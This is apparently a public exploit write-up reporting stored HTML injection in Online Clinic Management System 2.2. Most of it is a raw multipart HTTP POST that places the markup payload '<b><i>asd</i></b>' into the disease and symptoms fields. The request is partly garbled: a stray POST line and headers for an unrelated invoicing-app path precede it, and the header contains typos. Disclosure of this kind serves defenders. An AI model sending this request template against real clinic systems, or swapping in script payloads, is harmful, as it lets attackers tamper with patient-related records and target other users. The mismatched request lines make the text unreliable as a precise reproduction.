# Exploit Title: Online Clinic Management System 2.2 - HTML Injection
# Date: 2019-11-29
# Exploit Author: Cemal Cihad ÇİFTÇİ
# Vendor Homepage: https://bigprof.com
# Software Download Link : https://bigprof.com/appgini/applications/online-clinic-management-system
# Software : Online Clinic Management System
# Version : 2.2
# Vulernability Type : HTML Injection
# Vulenrability : HTM Injection
# HTML Injection has been discovered in the Online Clinic Management System created by bigprof/AppGini
# add disase symptom, patient and appointment section.
# payload: <b><i>asd</i></b>
# HTTP POST request
POST /inovicing/app/admin/pageEditGroup.php HTTP/1.1
Host: 10.10.10.160
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
POST /clinic/disease_symptoms_view.php HTTP/1.1
Host: 10.10.10.160
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------325041947016922
Content-Length: 1501
Origin: http://10.10.10.160
Connection: close
Referer: http://10.10.10.160/clinic/disease_symptoms_view.php
Cookie: inventory=4eg101l42apiuvutr7vguma5ar; online_inovicing_system=vl8ml5or8sgdee9ep9lnhglk69; online_clinic_management_system=e3fqbalmcu4o9d4tvuuakpn9e8
Upgrade-Insecure-Requests: 1
-----------------------------325041947016922
Content-Disposition: form-data; name="current_view"
DV
-----------------------------325041947016922
Content-Disposition: form-data; name="SortField"
-----------------------------325041947016922
Content-Disposition: form-data; name="SelectedID"
1
-----------------------------325041947016922
Content-Disposition: form-data; name="SelectedField"
-----------------------------325041947016922
Content-Disposition: form-data; name="SortDirection"
-----------------------------325041947016922
Content-Disposition: form-data; name="FirstRecord"
1
-----------------------------325041947016922
Content-Disposition: form-data; name="NoDV"
-----------------------------325041947016922
Content-Disposition: form-data; name="PrintDV"
-----------------------------325041947016922
Content-Disposition: form-data; name="DisplayRecords"
all
-----------------------------325041947016922
Content-Disposition: form-data; name="disease"
<b><i>asd</i></b>
-----------------------------325041947016922
Content-Disposition: form-data; name="symptoms"
<b><i>asd</i></b>
-----------------------------325041947016922
Content-Disposition: form-data; name="reference"
-----------------------------325041947016922
Content-Disposition: form-data; name="update_x"
1
-----------------------------325041947016922
Content-Disposition: form-data; name="SearchString"
-----------------------------325041947016922--
